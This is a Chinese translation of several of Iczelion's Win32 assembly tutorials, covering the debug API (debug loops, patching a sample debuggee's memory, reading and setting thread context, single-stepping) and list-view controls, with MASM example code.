.if DBEvent.dwDebugEventCode==EXIT_PROCESS_DEBUG_EVENT
invoke MessageBox, 0, addr ExitProc, addr AppName, MB_OK+MB_ICONINFORMATION
.break
.elseif DBEvent.dwDebugEventCode==CREATE_PROCESS_DEBUG_EVENT
invoke wsprintf, addr buffer, addr ProcessInfo, DBEvent.u.CreateProcessInfo.hFile, DBEvent.u.CreateProcessInfo.hProcess, DBEvent.u.CreateProcessInfo.hThread, DBEvent.u.CreateProcessInfo.lpBaseOfImage, DBEvent.u.CreateProcessInfo.lpStartAddress
invoke MessageBox,0, addr buffer, addr AppName, MB_OK+MB_ICONINFORMATION
.elseif DBEvent.dwDebugEventCode==EXCEPTION_DEBUG_EVENT
.if DBEvent.u.Exception.pExceptionRecord.ExceptionCode==EXCEPTION_BREAKPOINT
invoke ContinueDebugEvent, DBEvent.dwProcessId, DBEvent.dwThreadId, DBG_CONTINUE
.continue
.endif
.elseif DBEvent.dwDebugEventCode==CREATE_THREAD_DEBUG_EVENT
invoke MessageBox,0, addr NewThread, addr AppName, MB_OK+MB_ICONINFORMATION
.elseif DBEvent.dwDebugEventCode==EXIT_THREAD_DEBUG_EVENT
invoke MessageBox,0, addr EndThread, addr AppName, MB_OK+MB_ICONINFORMATION
.endif
invoke ContinueDebugEvent, DBEvent.dwProcessId, DBEvent.dwThreadId, DBG_EXCEPTION_NOT_HANDLED
.endw
invoke CloseHandle,pi.hProcess
invoke CloseHandle,pi.hThread
.endif
invoke ExitProcess, 0
end start

分析:

程序首先填充OPENFILENAME结构,调用GetOpenFileName让用户选择要调试的程序.

invoke GetStartupInfo,addr startinfo
invoke CreateProcess, addr buffer, NULL, NULL, NULL, FALSE, DEBUG_PROCESS+ DEBUG_ONLY_THIS_PROCESS, NULL, NULL, addr startinfo, addr pi

当接收用户选择后,调用CreateProcess装载程序.并调用GetStartupInfo以默认值填充STARTUPINFO结构.注意我们将DEBUG_PROCESS标志与DEBUG_ONLY_THIS_PROCESS标志组合来仅调试这个程序,不包括子进程.

.while TRUE
invoke WaitForDebugEvent, addr DBEvent, INFINITE

在debuggee被装入后,我们调用WaitForDebugEvent进入无尽的调试循环,WaitForDebugEvent在debuggee中发生调试事件时返回,因为我们指定了INFINITE作为第二个参数.当调试事件发生时, WaitForDebugEvent 返回并填充DBEvent结构.

.if DBEvent.dwDebugEventCode==EXIT_PROCESS_DEBUG_EVENT
invoke MessageBox, 0, addr ExitProc, addr AppName, MB_OK+MB_ICONINFORMATION
.break

我们要先检查dwDebugEventCode的值, 如果是EXIT_PROCESS_DEBUG_EVENT,用一个消息框显示"The debuggee exits" 并退出调试循环.

.elseif DBEvent.dwDebugEventCode==CREATE_PROCESS_DEBUG_EVENT
invoke wsprintf, addr buffer, addr ProcessInfo, DBEvent.u.CreateProcessInfo.hFile, DBEvent.u.CreateProcessInfo.hProcess, DBEvent.u.CreateProcessInfo.hThread, DBEvent.u.CreateProcessInfo.lpBaseOfImage, DBEvent.u.CreateProcessInfo.lpStartAddress
invoke MessageBox,0, addr buffer, addr AppName, MB_OK+MB_ICONINFORMATION

如果dwDebugEventCode 的值为CREATE_PROCESS_DEBUG_EVENT,我们就在消息框中显示一些感兴趣的底层信息.这些信息从u.CreateProcessInfo获得. CreateProcessInfo是一个CREATE_PROCESS_DEBUG_INFO类型的结构体.你可以查阅Win32 API获得它的更多信息e.

.elseif DBEvent.dwDebugEventCode==EXCEPTION_DEBUG_EVENT
.if DBEvent.u.Exception.pExceptionRecord.ExceptionCode==EXCEPTION_BREAKPOINT
invoke ContinueDebugEvent, DBEvent.dwProcessId, DBEvent.dwThreadId, DBG_CONTINUE
.continue
.endif

如果dwDebugEventCode 的值为EXCEPTION_DEBUG_EVENT,我们就要更进一步检查异常类型.它是一大堆的结构嵌套,但我们可以从ExceptionCode成员获得异常类型.如果ExceptionCode的值为 EXCEPTION_BREAKPOINT并且是第一次发生(或者我们已知道deuggee中没有int 3h指令),我们可以安全地假定在debuggee要执行第一条指令时发生这一异常.在我们完成这些处理后,就可以用 DBG_CONTINUE调用ContinueDebugEvent来继续执行debuggee.接着我们继续等待下一个调试事件的发生.

.elseif DBEvent.dwDebugEventCode==CREATE_THREAD_DEBUG_EVENT
invoke MessageBox,0, addr NewThread, addr AppName, MB_OK+MB_ICONINFORMATION
.elseif DBEvent.dwDebugEventCode==EXIT_THREAD_DEBUG_EVENT
invoke MessageBox,0, addr EndThread, addr AppName, MB_OK+MB_ICONINFORMATION
.endif

如果dwDebugEventCode 的值为CREATE_THREAD_DEBUG_EVENT或EXIT_THREAD_DEBUG_EVENT, 我们的程序显示一个消息框.

invoke ContinueDebugEvent, DBEvent.dwProcessId, DBEvent.dwThreadId, DBG_EXCEPTION_NOT_HANDLED
.endw

除了上面讨论过的 EXCEPTION_DEBUG_EVENT,用DBG_EXCEPTION_NOT_HANDLED标志调用ContinueDebugEvent函数恢复debuggee的执行.

invoke CloseHandle,pi.hProcess
invoke CloseHandle,pi.hThread

当debuggee结束时,我们就跳出了调试循环,这时要关闭 debuggee的线程和进程句柄.关闭这些句柄并不意味着要关闭这些进程和线程.只是说不再用这些句柄罢了.

校对：LuoYunBin's Win32 ASM Page， http://asm.yeah.net


Iczelion's win32 asm tutorial

第29课: Win32调试API 第二部分

我们继续Win32调试API的话题。在本章中，我们将要学习如何修改被调试程序。
下载 the example

理论:

在前面一章中，我们学会了如何装载被调试的进程以及如何处理进程中发生的事件。 为了有实际用途，我们的程序应具有修改被调试程序的能力。有好几个API函数用于这 一目的。

  • ReadProcessMemory该函数允许你去读指定的进程的内存。函数原型如下:

    ReadProcessMemory proto hProcess:DWORD, lpBaseAddress:DWORD, lpBuffer:DWORD, nSize:DWORD, lpNumberOfBytesRead:DWORD

    hProcess 待读进程的句柄.
    lpBaseAddress 目标进程中待读内存起始地址。例如，如果你想要读目标 进程中从地址401000h开始的4个字节，该参数值应置为401000h。
    lpBuffer 接收缓冲区地址
    nSize 想要读的字节数。
    lpNumberOfBytesRead 记录实际读取的字节数的变量地址。如果对这个值 不关心，填入NULL即可。

  • WriteProcessMemory 是对应于ReadProcessMemory的函数，通过它 可以写目标进程的内存。其参数和ReadProcessMemory 相同。

    理解接下去的两个函数需要一些进程上下文的有关背景知识。在象Windows这样的 多任务操作系统中，同一时间里可能运行着几个程序。Windows分配给每个线程一个 时间片，当时间片结束后，Windows将冻结当前线程并切换到下一具有最高优先级的 线程。在切换之前，Windows将保存当前进程的寄存器的 内容，这样当在该线程再 次恢复运行时，Windows可以恢复最近一次线程运行的*环境*。保存的寄存器内容总 称为进程上下文。
    现在回到我们的主题。当一个调试事件发生时，Windows暂停被调试进程，并保存其 进程上下文。由于进程被暂停运行，我们可以确信其进程上下文内容将保持不变。 可以用GetThreadContext来获取进程上下文内容，并且也可以用GetThreadContext 来修改进程上下文内容。
    这两个函数威力非凡。有了他们，对被调试进程你就具有象VxD的能力: 如改变其寄 存器内容，而在被调试程序恢复运行前，这些值将会写回寄存器中。在进程上下文中 所做的任何改动，将都会反映到被调试程序中。想象一下: 甚至可以改变eip寄存器 的内容，这样你可以让程序运行到你想要的任何地方! 在正常情况下是不可能做到这 一点的。

    GetThreadContext proto hThread:DWORD, lpContext:DWORD

    hThread 你想要获得上下文的线程句柄
    lpContext 函数成功返回时用来保存上下文内容的结构指针。

    SetThreadContext 参数相同。让我们来看看上下文的结构:

  • CONTEXT STRUCT
  • ContextFlags dd ?
    ;----------------------------------------------------------------------------------------------------------
    ;当ContextFlags包含CONTEXT_DEBUG_REGISTERS，返回本部分
  • ;-----------------------------------------------------------------------------------------------------------
    iDr0 dd ?
    iDr1 dd ?
    iDr2 dd ?
    iDr3 dd ?
    iDr6 dd ?
    iDr7 dd ?
  • ;----------------------------------------------------------------------------------------------------------
    ;当ContextFlags包含CONTEXT_FLOATING_POINT，返回本部分
  • ;-----------------------------------------------------------------------------------------------------------
  • FloatSave FLOATING_SAVE_AREA <>
  • ;----------------------------------------------------------------------------------------------------------
    ;当ContextFlags包含CONTEXT_SEGMENTS，返回本部分
  • ;-----------------------------------------------------------------------------------------------------------
  • regGs dd ?
    regFs dd ?
    regEs dd ?
    regDs dd ?
  • ;----------------------------------------------------------------------------------------------------------
    ;当ContextFlags包含CONTEXT_INTEGER，返回本部分
  • ;-----------------------------------------------------------------------------------------------------------
  • regEdi dd ?
    regEsi dd ?
    regEbx dd ?
    regEdx dd ?
    regEcx dd ?
    regEax dd ?
  • ;----------------------------------------------------------------------------------------------------------
    ;当ContextFlags包含CONTEXT_CONTROL，返回本部分
  • ;-----------------------------------------------------------------------------------------------------------
  • regEbp dd ?
    regEip dd ?
    regCs dd ?
    regFlag dd ?
    regEsp dd ?
    regSs dd ?
  • ;----------------------------------------------------------------------------------------------------------
    ;当ContextFlags包含CONTEXT_EXTENDED_REGISTERS，返回本部分
  • ;-----------------------------------------------------------------------------------------------------------
  • ExtendedRegisters db MAXIMUM_SUPPORTED_EXTENSION dup(?) CONTEXT ENDS

    可以看出，该结构中的成员是对实际处理器的寄存器的模仿。在使用该结构之前 要在ContextFlags 中指定哪些寄存器组用来读写。如要访问所有的寄存器， 你可以置ContextFlags 为CONTEXT_FULL 。或者只访问regEbp, regEip, regCs, regFlag, regEsp 或 regSs, 应置ContextFlags 为 CONTEXT_CONTROL 。

    在使用结构CONTEXT 时还应记住: 它必须是双字对齐的，否则在NT下将得 到奇怪的结果。可以在定义前加上"align dword"。例如:

    align dword
    MyContext CONTEXT <>

例:

第一个例子演示DebugActiveProcess的使用。首先，需要在Windows显示在屏 幕上以前运行一个待调试程序win.exe，该程序将处于无限循环运行状态中。然后你运行 例子程序，它将把自己与win.exe连接起来，并且修改win.exe的代码，这样win.exe将退 出无限循环状态而显示自己的窗口。

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\comdlg32.inc
include \masm32\include\user32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\comdlg32.lib
includelib \masm32\lib\user32.lib

.data
AppName db "Win32 Debug Example no.2",0
ClassName db "SimpleWinClass",0
SearchFail db "Cannot find the target process",0
TargetPatched db "Target patched!",0
buffer dw 9090h

.data?
DBEvent DEBUG_EVENT <>
ProcessId dd ?
ThreadId dd ?
align dword
context CONTEXT <>

.code
start:
invoke FindWindow, addr ClassName, NULL
.if eax!=NULL
invoke GetWindowThreadProcessId, eax, addr ProcessId
mov ThreadId, eax
invoke DebugActiveProcess, ProcessId
.while TRUE
invoke WaitForDebugEvent, addr DBEvent, INFINITE
.break .if DBEvent.dwDebugEventCode==EXIT_PROCESS_DEBUG_EVENT
.if DBEvent.dwDebugEventCode==CREATE_PROCESS_DEBUG_EVENT
mov context.ContextFlags, CONTEXT_CONTROL
invoke GetThreadContext,DBEvent.u.CreateProcessInfo.hThread, addr context
invoke WriteProcessMemory, DBEvent.u.CreateProcessInfo.hProcess, context.regEip ,addr buffer, 2, NULL
invoke MessageBox, 0, addr TargetPatched, addr AppName, MB_OK+MB_ICONINFORMATION
.elseif DBEvent.dwDebugEventCode==EXCEPTION_DEBUG_EVENT
.if DBEvent.u.Exception.pExceptionRecord.ExceptionCode==EXCEPTION_BREAKPOINT
invoke ContinueDebugEvent, DBEvent.dwProcessId,DBEvent.dwThreadId, DBG_CONTINUE
.continue
.endif
.endif
invoke ContinueDebugEvent, DBEvent.dwProcessId, DBEvent.dwThreadId, DBG_EXCEPTION_NOT_HANDLED
.endw
.else
invoke MessageBox, 0, addr SearchFail, addr AppName,MB_OK+MB_ICONERROR .endif
invoke ExitProcess, 0
end start

;--------------------------------------------------------------------
; The partial source code of win.asm, our debuggee. It's actually
; the simple window example in tutorial 2 with an infinite loop inserted
; just before it enters the message loop.
;----------------------------------------------------------------------

......
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
INVOKE CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,\ WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\ CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,\ hInst,NULL
mov hwnd,eax
jmp $ <---- Here's our infinite loop. It assembles to EB FE
invoke ShowWindow, hwnd,SW_SHOWNORMAL
invoke UpdateWindow, hwnd
.while TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.break .if (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.endw
mov eax,msg.wParam
ret
WinMain endp

分析:

invoke FindWindow, addr ClassName, NULL

我们的程序需要用DebugActiveProcess将自己绑定到被调试程序，这需要知道 被调试程序的进程Id。用GetWindowThreadProcessId 可以得到该Id，该函数需要 窗口句柄作为参数，因此首先需要知道窗口句柄。
用FindWindow, 我们先指定窗口类的名称，返回的是该类创建的窗口句柄。如 果返回NULL，则表明当前没有该类的窗口。

.if eax!=NULL
invoke GetWindowThreadProcessId, eax, addr ProcessId
mov ThreadId, eax
invoke DebugActiveProcess, ProcessId

得到进程Id后，我们调用DebugActiveProcess。这样就进入等待调试事件的循 环中。

.if DBEvent.dwDebugEventCode==CREATE_PROCESS_DEBUG_EVENT
mov context.ContextFlags, CONTEXT_CONTROL
invoke GetThreadContext,DBEvent.u.CreateProcessInfo.hThread, addr context

当得到 CREATE_PROCESS_DEBUG_INFO, 这意味着被调试进程已经被暂停运行了。 我们就可以对该进程动手术了。本例中，我们将用NOPs ( 90h 90h)覆盖被调试进程中的无 限循环指令(0EBh 0FEh) 。
首先，需要得到该指令的地址。由于在我们的程序绑定到被调试程序时，被调试程序已经 处于循环语句中了，eip总是指向该指令。我们所要做的是得到eip的值。我们将使用 GetThreadContext来达到此目的。将上下文结构成员中ContextFlags设置 为CONTEXT_CONTROL ，这样告诉GetThreadContext我们需要它去填充上下 文结构的成员中的"控制"寄存器。

invoke WriteProcessMemory, DBEvent.u.CreateProcessInfo.hProcess, context.regEip ,addr buffer, 2, NULL

得到eip的值以后，可以调用WriteProcessMemory来用NOPs覆盖"jmp $" 指令，这样将使被调试程序退出无限循环。在向用户显示了信息之后，调用ContinueDebugEvent 来恢复被调试程序的运行。由于指令"jmp $"已被Nops覆盖，被调试程序将继续 显示窗口，并进入消息循环。证据是我们在屏幕上观察到了次窗口。

另一个例子与此稍有不同，它是将被调试程序从无限循环中中断。

.......
.......
.if DBEvent.dwDebugEventCode==CREATE_PROCESS_DEBUG_EVENT
mov context.ContextFlags, CONTEXT_CONTROL
invoke GetThreadContext,DBEvent.u.CreateProcessInfo.hThread, addr context
add context.regEip,2
invoke SetThreadContext,DBEvent.u.CreateProcessInfo.hThread, addr context
invoke MessageBox, 0, addr LoopSkipped, addr AppName, MB_OK+MB_ICONINFORMATION
.......
.......

这里仍调用GetThreadContext来获取eip值，但没有去覆盖"jmp $" 指令，而是将 regEip加2，从而"跳过"该指令。结果是当被调试程序 重新获得控制权时，将恢复执行在"jmp $"后的指令。

现在你可以体会到Get/SetThreadContext的威力了。你也可以修改其他寄存器映象，这 些值将直接反映到被调试程序中。甚至你可以把int 3h指令插入到被调试进程中。产生断点。

This article come from Iczelion's asm page, 翻译 xjg1124@163.net. Welcom to http://asm.yeah.net


Iczelion's win32 asm tutorial

第30课: Win32调试API 第三部分

在本章中，我们将继续探讨win32调试api。特别地，我们将学习如何去跟踪被调试程序.
下载 例子.

理论:

如果你以前使用过调试器，那么你应对跟踪比较熟悉。当"跟踪"一个程序时， 程序在每执行一条指令后将会停止，这使你有机会去检查寄存器/内存中的值。这种单步运 行的官方定义为跟踪(tracing)。
单步运行的特色是由CPU本身提供的。标志寄存器的第8位称为陷阱标志trap flag。 如果该位设置，则CPU运行于单步模式。CPU将在每条指令后产生一个debug异常。当debug 异常产生后，陷阱标志自动清除。利用win32调试api，我们也可以单步运行被调试程序。 方法如下:

  1. 调用GetThreadContext, 指定 ContextFlags为CONTEXT_CONTROL， 来获得标志寄存器的值
  2. 设置CONTEXT结构成员标志寄存器regFlag中的陷阱标志位
  3. 调用 SetThreadContext
  4. 等待调式事件。被调试程序将按单步模式执行，在每执行一条指令后，我们将得到调试 事件，u.Exception.pExceptionRecord.ExceptionCode值为EXCEPTION_SINGLE_STEP
  5. 如果要跟踪下一条指令，需要再次设置陷阱标志位。

例:

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\comdlg32.inc
include \masm32\include\user32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\comdlg32.lib
includelib \masm32\lib\user32.lib

.data
AppName db "Win32 Debug Example no.4",0
ofn OPENFILENAME <>
FilterString db "Executable Files",0,"*.exe",0
db "All Files",0,"*.*",0,0
ExitProc db "The debuggee exits",0Dh,0Ah
db "Total Instructions executed : %lu",0
TotalInstruction dd 0

.data?
buffer db 512 dup(?)
startinfo STARTUPINFO <>
pi PROCESS_INFORMATION <>
DBEvent DEBUG_EVENT <>
context CONTEXT <>

.code
start:
mov ofn.lStructSize,SIZEOF ofn
mov ofn.lpstrFilter, OFFSET FilterString
mov ofn.lpstrFile, OFFSET buffer
mov ofn.nMaxFile,512
mov ofn.Flags, OFN_FILEMUSTEXIST or OFN_PATHMUSTEXIST or OFN_LONGNAMES or OFN_EXPLORER or OFN_HIDEREADONLY
invoke GetOpenFileName, ADDR ofn
.if eax==TRUE
invoke GetStartupInfo,addr startinfo
invoke CreateProcess, addr buffer, NULL, NULL, NULL, FALSE, DEBUG_PROCESS+ DEBUG_ONLY_THIS_PROCESS, NULL, NULL, addr startinfo, addr pi
.while TRUE
invoke WaitForDebugEvent, addr DBEvent, INFINITE
.if DBEvent.dwDebugEventCode==EXIT_PROCESS_DEBUG_EVENT
invoke wsprintf, addr buffer, addr ExitProc, TotalInstruction
invoke MessageBox, 0, addr buffer, addr AppName, MB_OK+MB_ICONINFORMATION
.break
.elseif DBEvent.dwDebugEventCode==EXCEPTION_DEBUG_EVENT .if DBEvent.u.Exception.pExceptionRecord.ExceptionCode==EXCEPTION_BREAKPOINT
mov context.ContextFlags, CONTEXT_CONTROL
invoke GetThreadContext, pi.hThread, addr context
or context.regFlag,100h
invoke SetThreadContext,pi.hThread, addr context
invoke ContinueDebugEvent, DBEvent.dwProcessId, DBEvent.dwThreadId, DBG_CONTINUE
.continue
.elseif DBEvent.u.Exception.pExceptionRecord.ExceptionCode==EXCEPTION_SINGLE_STEP
inc TotalInstruction
invoke GetThreadContext,pi.hThread,addr context or context.regFlag,100h
invoke SetThreadContext,pi.hThread, addr context
invoke ContinueDebugEvent, DBEvent.dwProcessId, DBEvent.dwThreadId,DBG_CONTINUE
.continue
.endif
.endif
invoke ContinueDebugEvent, DBEvent.dwProcessId, DBEvent.dwThreadId, DBG_EXCEPTION_NOT_HANDLED
.endw
.endif
invoke CloseHandle,pi.hProcess
invoke CloseHandle,pi.hThread
invoke ExitProcess, 0
end start

分析:

该程序先显示一个打开文件对话框，当用户选择了一个可执行文件，它将单步执行该程序， 并记录执行的指令数，直到被调试程序退出运行。

.elseif DBEvent.dwDebugEventCode==EXCEPTION_DEBUG_EVENT .if DBEvent.u.Exception.pExceptionRecord.ExceptionCode==EXCEPTION_BREAKPOINT

利用该机会来设置被调试程序为单步运行模式。记住，在执行被调试程序的第一条指令前 windows将发送一个EXCEPTION_BREAKPOINT消息。

mov context.ContextFlags, CONTEXT_CONTROL
invoke GetThreadContext, pi.hThread, addr context

调用GetThreadContext，以被调试程序的当前寄存器内容来填充CONTEXT 结构 特别地，我们需要标志寄存器的当前值。

or context.regFlag,100h

设置标志寄存器映象的陷阱位(第8位)

invoke SetThreadContext,pi.hThread, addr context
invoke ContinueDebugEvent, DBEvent.dwProcessId, DBEvent.dwThreadId, DBG_CONTINUE
.continue

然后调用SetThreadContext去覆盖CONTEXT的值。再以DBG_CONTINUE调用 ContinueDebugEvent 来恢复被调试程序的运行。

.elseif DBEvent.u.Exception.pExceptionRecord.ExceptionCode==EXCEPTION_SINGLE_STEP
inc TotalInstruction

当调试程序中一条指令执行后，我们将接收到EXCEPTION_DEBUG_EVENT的调试事件， 必须要检查u.Exception.pExceptionRecord.ExceptionCode的值。如果该值为 EXCEPTION_SINGLE_STEP，那么，该调试事件是单步运行模式造成的。在这种情况 下，TotalInstruction加一，因为我们确切地知道此时被调试程序执行了一条指令。

invoke GetThreadContext,pi.hThread,addr context or context.regFlag,100h
invoke SetThreadContext,pi.hThread, addr context
invoke ContinueDebugEvent, DBEvent.dwProcessId, DBEvent.dwThreadId,DBG_CONTINUE
.continue

由于陷阱标志在debug异常后自动清除了，如果我们需要继续保持单步运行模式，则 必须设置陷阱标志位。
警告: 不要用本教程中的此例子来调试大程序: 跟踪是很慢的。你或许需要等待10 多分钟才能关闭被调试程序。

This article come from Iczelion's asm page, 翻译 xjg1124@163.net. Welcom to http://asm.yeah.net


Iczelion's win32 asm tutorial

第三十一课 列表视图控件

本课中我们将学习如何创建和使用列表视图控件。

理论：

列表视图控件和树型视图、丰富文本编辑控件一样是通用控件的一种。可能您都已经知道了列表视图控件，只不过是不知道它的确切名字而已。列表视图控件可以用来很好地显示项目。在这方面它和列表框相同，只不过它的性能更强。
有两种方法创建一个列表视图控件。第一种也是最简单的方法是：用资源编辑器来创建它。用该种方法只是不要忘记在您的代码（的任何位置处）加入对InitCommonControls函数的调用（记得吗，调用该函数只是为了隐式地加载包含通用控件的DLL）。另一种方法是调用CreateWindowEx函数，这里您必须指定合适的类名，譬如：SysListView32，WC_LISTVIEW不是正确的类名
在列表视图种有四种方法来显示数据：大图标，小图标，列表和报告方式。这些方法和在资源管理器种选择View->Large Icons，Small Icons ， List 和 Details 相对应。各种不同的显示方式只是显示了不同的外观而已。譬如，您可能有许多的数据，只是并不想全部显示。报告方式提供的消息最完全，其它的方式则要少得多。在刚创建一个列表视图时您可以选择一种初始显示方法，随后您可以调用SetWinodwLong函数并设置GWL_STYLE标志位来改变显示方式

既然我们已经知道了如何创建列表控件，接下来我们学习如何使用它们。我们将主要集中在报告方式的显示上，因为该种方式演示了最多的列表控制的特性。使用列表控制的步骤如下：

  1. 调用CreateWindowEx函数来创建一个列表控件，指定它的类名为SysListView32。您还可以在此处指定控件初次显示时的方式。
  2. 创建和初始化用在列表控件中显示项目的图象列表（如果存在）。
  3. 向列表控件中插入列，如果显示的方式是报告方式这一步是必须的。
  4. 向控件中插入项目和自项目。

列：

在报告方式中，有不止一个列。您可以把放入到列表控件中的数据看作是一张表单：这时数据是按行列排列的。在控件中至少有一列。在其它的显示方式中则无所谓，因为这些显示方式有仅有一列。
加入列要通过向列表控件发送LVM_INSERTCOLUMN消息来实现。

LVM_INSERTCOLUMN
wParam = iCol
lParam =指向LV_COLUMN型结构体变量的指针

iCol 列数，从0开始编号。
LV_COLUMN 包含了将插入的列的信息。它的定义如下：

LV_COLUMN STRUCT
imask dd ?
fmt dd ?
lx dd ?
pszText dd ?
cchTextMax dd ?
iSubItem dd ?
iImage dd ?
iOrder dd ?
LV_COLUMN ENDS

Field name | Meanings
imask

一组标志位，它指示了该结构体中的那些成员变量是有效的。该结构体中的成员变量并不是同时有效的。在某些时候，可能只有某些成员变量是有效的。结构体可以用来输入和输出。这样让WINDOWS知道那些成员变量是有效的是非常重要的。可能的标志有：

LVCF_FMT = fmt有效
LVCF_SUBITEM = iSubItem有效
LVCF_TEXT = pszText有效.
LVCF_WIDTH = lx有效

您可以一次使用几个标志。譬如，如果您向指定列的文本标签（列名），您必须在pszText成员变量中提供列名，然后指定标志LVCF_TEXT告诉WINDOWS成员变量pszText中的值是有效的，否则WINDOWS将忽略掉pszText中的值。

fmt

指定了项目/子项目的对齐方式。可能的值有：

LVCFMT_CENTER = 文本居中
LVCFMT_LEFT = 文本左对齐
LVCFMT_RIGHT = 文本右对齐

lx | lx 是列的宽度（以像素点为单位）。以后您可以发送消息LVM_SETCOLUMNWIDTH来改变列的宽度。
pszText | 如果用来设定列的属性时，该成员变量为指向列名的指针。如果是查询列名，该成员变量指向一个足够大的缓冲区，用来接收返回的列名，这是您必须在成员cchTextMax中指定缓冲区的大小。如果是设定列名时，可以忽略该变量，因为该指针指向的是一个ASCII码的字符串，而WINDOWS可以解析出ASCII串的长度。
cchTextMax | cchTextMax 以字节计的上面一个成员变量指向的缓冲区的小。该成员变量只在您查询列的属性时使用。如果是设定列的属性，那该变量将被忽略。
iSubItem | 指定和该列相连的子项目的索引号。该成员变量的值用来标识和列相连系的子项目。该列的使用最好地说明了如何把列号和子项目相连。要查询列的属性时可以发送LVM_GETCOLUMN消息，并在成员变量imask中指定LVCF_SUBITEM标志，列表控件将在iSubItem中返回插入时设定的iSubItem值。为了使用该办法，您需要在该成员变量中放入正确的值。
iImage and iOrder | 为了和IE3.0以上版本兼容。目前我没有这方面的资料。

在列表视图控件创建后，您必须至少向其中插入一列。当然如果不打算使用报告方式显示，那倒是没有必要插入列。为了插入列，您需要定义一个LV_COLUMN型的结构体变量，给其成员变量赋上正确的值，指定列号，然后向列表视图控件发送LVM_INSERTCOLUMN消息并把该结构体变量的值传过去。

LOCAL lvc:LV_COLUMN
mov lvc.imask,LVCF_TEXT+LVCF_WIDTH
mov lvc.pszText,offset Heading1
mov lvc.lx,150
invoke SendMessage,hList, LVM_INSERTCOLUMN,0,addr lvc

上面的代码段显示了该过程。当发送LVM_INSERTCOLUMN消息时，他指定了列的标题条文本和它的宽度。

项目和子项目

项目是列表视图中主要的内容。除报告方式显示的外，在列表视图您只能看到项目。子项目是项目的详细信息。一个项目可能有不止一个相关的子项目。举个例子，譬如项目是文件名，那其相关的子项目可能有文件属性、大小、创建日期等。在报告方式的视图中，最左边一列是项目，其它列是子项目。从数据库记录的角度看，项目类似主键，子项目类似记录。
至少您的列表视图需要一些项目：子项目是可选的。如果您想要给用户提供更多的信息，可以把子项目和项目相连，然后放到列表视图中以报告的方式显示。
您可以通过向列表视图发送LVM_INSERTITEM消息来向其中添加项目，这时还需要把一个指向LV_ITEM型的结构体的变量的指针放到lParam一同传给列表视图。LV_ITEM的定义如下：

LV_ITEM STRUCT
imask dd ?
iItem dd ?
iSubItem dd ?
state dd ?
stateMask dd ?
pszText dd ?
cchTextMax dd ?
iImage dd ?
lParam dd ?
iIndent dd ?
LV_ITEM ENDS

Field name | Meanings
imask | 一组标志位标明该结构体中那些成员变量中的值有效。它的意义和上面我们提到的LV_COLUMN型结构体中向对应的成员变量基本相同。更详细的信息，可以查询WIN32 API 手册。
iItem | 该结构体代表的项目的索引号。索引号是从0开始编号的。该值和表单的“行”类似。
iSubItem | 和上一个成员变量指定的项目相连的子项目的索引号。您可以把它当作表单的“列”。譬如您想要把一个项目插入到新创建的列表视图控件，iItem的值应为0（因为该项目是第一个项目），iSubItem的值也应当为0（我们想把该项目插到第一列）。如果你想指定一个子项目和该项目相连，iItem中应该是您想要相连的项目的索引号，iSubItem的值应当是大于0的值，具体的值取决于您想把该子项目插在那一列。如果你的列表视图控件一共有4列的化，第一列包含了项目，其余3列是留给子项目的。如果您想把子项目插在第四列，应当指定该值为3。
state | 该成员变量包含的标志位反应了项目的状态。状态的改变可能是由用户的操作引起的或是程序改变的。这些状态包括：是否有焦点/高亮度显示/被选中（由于被剪切）/被选中等。另外还包括，以1为基数的索引用来代表是否处使用重叠/状态图标。
stateMask | 由于上面的成员变量包含状态标志位、重叠的位图索引号、和状态位图的索引号，我们需要告诉WINDOWS我们到底需要设定或查询那一个值。该成员变量就是用来做这项工作的。
pszText | 当我们想设定项目的属性时，它包含项目名称的ASCII码的字符串的地址。当查询项目的属性时，该成员变量将用来接收查询返回的项目的名称。
cchTextMax | 仅当您用来查询项目的属性时才需要使用该值，这时它包含上一个成员变量的大小。
iImage | 图标在列表视图中的图象链表中的索引号。
lParam | 用户定义的值，当您给项目排序时使用。当您告诉列表视图对项目排序时，列表视图将成对地比较项目。 它将会把两个项目的lParam的值传给您，这样您就可以进行比较先列出那一个了。如果您现在还不太明白的话，没有系，我们稍后还要讲关于排序的问题。

现在让我们来总结想列表控件中插入项目/子项目的步骤：

  1. 定义一个LV_ITEM型的结构体变量。
  2. 给该变量赋给合适的值
  3. 如果要插入一个项目，就向列表视图控件发送LVM_INSERTITEM值。 如果要插入一个子项目，发送LVM_SETITEM。如果您不明白项目和子项目之间的关系的话，可能会有一些疑惑。子项目仅是项目的属性而已，也就是说您可以插入一个项目但是不能插入一个子项目。所以添加一个子项目十只能发送LVM_SETITEM消息而不能发送LVM_INSERTITEM消息。

列表视图控件的消息/通知

既然您知道了如何创建和往其中添加内容，下一步就是如何和它通讯。列表视图控件和它的父窗口之间的通讯是通过消息/通知来进行的。父窗口通过发送消息来控制列表视图控件，列表视图控件通过发送WM_NOTIFY消息来通知它的父窗口。这一点和其它的通用控件没有什么不同。

排序项目/子项目

您可以在调用CreateWindowEx函数时指定LVS_SORTASCENDING 或 LVS_SORTDESCENDING风格来指定缺省的排序方式。这两种风格仅仅排序项目的名称。如果想要排序项目的其它属性，您可以通过发送LVM_SORTITEMS消息来完成

LVM_SORTITEMS
wParam = lParamSort
lParam = pCompareFunction

lParamSort 用户定义的值，该值将传递给用来比较的函数。
pCompareFunction 用户定义的用来比较排序的函数的地址。该函数的原型如下：

CompareFunc proto lParam1:DWORD, lParam2:DWORD, lParamSort:DWORD

lParam1 和 lParam2 是 LV_ITEM型的结构体中的成员变量lParam的值。
lParamSort 是发送LVM_SORTITEMS消息时参数wParam中的值

当列表视图控件接收到LVM_SORTITEMS消息时，当需要比较项目时它会调用在lParam中指定的比较函数。比较函数将决定那一个项目排在前面。方法很简单：如果函数返回一个负值，由（lParam代表的）第一个项目排在前，如果返回正值，第二个项目排在前。如果相等，必须返回0 。

